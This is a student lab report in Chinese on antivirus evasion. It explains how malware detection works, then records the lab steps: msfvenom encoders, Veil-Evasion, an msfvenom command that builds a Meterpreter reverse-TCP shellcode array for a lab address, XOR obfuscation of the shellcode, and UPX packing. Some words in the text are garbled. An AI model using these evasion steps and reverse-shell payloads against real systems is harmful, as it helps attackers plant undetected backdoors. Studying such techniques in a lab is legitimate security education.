Exp3 免杀原理与实践 20154320 李超

基础知识

  • 如何检测出恶意代码
    • 基于特征码的检测:分析指令的统计特性、代码的结构特性等。若是一个可执行文件(或其余运行的库、脚本等)拥有通常恶意代码所通有的特征(开启后门等)则被认为是恶意代码
    • 启发式恶意软件检测:构成恶意代码的指令的含义,根据些片面特征去推断。
    • 基于行为的动态分析检测:经过监视恶意代码运行过程。如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或经过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。
  • 什么是免杀及如何进行免杀
    • 免杀,字面意思上理解,就是“反-杀毒”,也就是经过必定的手段,使得杀毒工具没法检测出来软件病毒或者木马之类的“干扰性”特征。免杀的方法包括:
    • 修改特征码:用一些工具找出特征码并针对特征码作免杀处理。
      • 文件加壳:能够用一些比较生僻的壳对木马文件进行保护,阻止外部程序或软件对加壳程序的反汇编分析或者动态分析。
      • 在有shellcode的状况下,用encode进行编码,payload从新编译生成可执行文件
  • 改变行为
    • 通信方式
      • 尽可能使用反弹式链接
      • 使用隧道技术
      • 加密通信数据
    • 操做模式
      • 基于内存操做
      • 减小对系统的修改
      • 加入混淆做用的正常功能代码
  • 很是规方法
    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    • 使用社工类攻击,诱骗目标关闭AV软件。
    • 纯手工打造一个恶意软件

实验过程

Msfvenom使用编码器

检测上节课利用Msfvenom生成的后门软件,事实证实Metaspliot做为作热门的平台之一,各AV厂商都有所防范。css

多编码几回也没有明显效果。python

事实上杀毒软件厂商在对特征码进行扫描的同时,也会对编码器所用的解码代码进行检索,像咱们以前经常使用的比较有名的编码器早已经被杀软厂商们加入了黑名单,因此使用该编码器即便编码次数再多也不会起到实质性效果。shell

 

采用免杀平台Veil-Evasion生成后门软件

 此次使用免杀功能更强一点的一款平台Veil-Evasionwindows

  • 按照其提示,输入list查看payload,选择能实现反弹端口链接的payload(通常看名字就能看出来,rev_tcprev_http结尾的通常都是)此次咱们随便选择其中知足咱们要求的payload,键入use + name of payload(截图的时候我选择的是ruby/meterpreter/rev_tcp可是生成的时候一直弹出payload有问题,因此实际上使用的是python/meterpreter/rev_tcp数组

  • 将.exe文件拷贝出来到靶机上,结果被查杀安全

  • 在网站上进行检测ruby

  • veil-evasion平台如此强大?

C语言调用Shellcode

  • 用指令会生成一个c语言格式的Shellcode数组。指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.30 LPORT=443 -f c
  • 用Microsoft Visual Studio 2013或者Visual C++ 6.0进行编译运行生成可执行文件。tcp

  •  

  •  

  • 顺利回连
  • 用VirSCAN.org进行检测
    函数

修改shellcode

  • 用指令生成的shellcode数组,还是会被发现,因此咱们能够对这个数组作一些变化,好比对奇偶位分别进行异或:
奇数位异或85,即01010101
偶数位异或170,即10101010

将原数组的内容进行改变,这样在杀软检查时被发现的概率就减少了工具

  • kali成功获取权限

UPX加壳

 

用下面的命令来加压缩壳

# upx 4320-1.exe -o 4320m.exe

·
效果并非很好

离实战还缺些什么技术或步骤

    • 最关键的部分实在传播环节,实验中实在关闭防火墙的状况下将后门程序传至靶机中,现实中通常普通的我的计算机都会打开防火墙,更不用说涉密计算机,也正因如此,确认下载网站的安全性是至关重要的,若是主动选择了忽略就等于让对方垂手可得地突破了这一关键环节。
    • 其次,在实验中都是靶机主动完成回连,经过必定的假装和诱导让被攻击者打开后门程序才是更高级和更现实的方法。
相关文章
相关标签/搜索